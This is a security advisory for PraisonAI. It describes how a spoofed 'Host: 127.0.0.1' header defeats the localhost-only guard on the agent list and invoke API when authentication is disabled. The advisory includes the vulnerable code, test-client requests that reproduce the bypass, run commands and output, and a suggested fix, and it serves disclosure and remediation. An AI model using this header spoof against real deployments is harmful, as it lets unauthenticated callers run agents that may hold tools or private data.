Résumé

PraisonAI: Call API localhost-only authentication bypass via spoofed Host header

Détails de l’avis

Call API localhost-only authentication bypass via spoofed Host header

Summary

PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

Technical Details

The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:

_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str:
    host = getattr(getattr(request, 'url', None), 'hostname', None)
    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if _call_auth_disabled():
        bind_host = _bind_host_from_request(request)
        if bind_host not in _LOCALHOST_HOSTS:
            raise HTTPException(
                status_code=503,
                detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
            )
        return

The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.

The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.

This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.

PoV

the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.

disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
    "/api/v1/agents/pov-agent/invoke",
    headers={"host": "127.0.0.1"},
    json={"message": "host-header-bypass"},
)

Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.

The complete PoV script is in Appendix A.

PoC

Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:

git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed v4.6.62 output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
  "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
  "spoofed_localhost_invoke_body": {
    "metadata": {
      "agent_id": "pov-agent",
      "message_length": 18,
      "response_length": 33
    },
    "result": "stub-agent-ran:host-header-bypass",
    "session_id": "default",
    "status": "success"
  },
  "stub_agent_calls": [
    "host-header-bypass"
  ],
  "vulnerable": true
}

Run the same script against current main:

git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed current-head output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
  "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
  "spoofed_localhost_invoke_body": {
    "metadata": {
      "agent_id": "pov-agent",
      "message_length": 18,
      "response_length": 33
    },
    "result": "stub-agent-ran:host-header-bypass",
    "session_id": "default",
    "status": "success"
  },
  "stub_agent_calls": [
    "host-header-bypass"
  ],
  "vulnerable": true
}

The negative controls are the first two status fields. With default authentication and no token, the API fails closed with 503. With PRAISONAI_CALL_AUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.

Impact

An unauthenticated caller who can reach a PraisonAI call/serve API with PRAISONAI_CALL_AUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agent_id}/invoke.

Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted /api/v1/agents API family.

Suggested CWE: CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.

Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.

Suggested Fix

Do not derive bind safety from Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAI_CALL_AUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.

Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.

Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.

Affected Package/Versions

Affected package: praisonai on PyPI.

Confirmed affected:

  • v4.6.62 at 2a855c470077c7d2e2479a575f7ef7f548d51c33
  • current main at 846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting 4.6.62

v4.6.60 had the older unconditional PRAISONAI_CALL_AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape pr

Références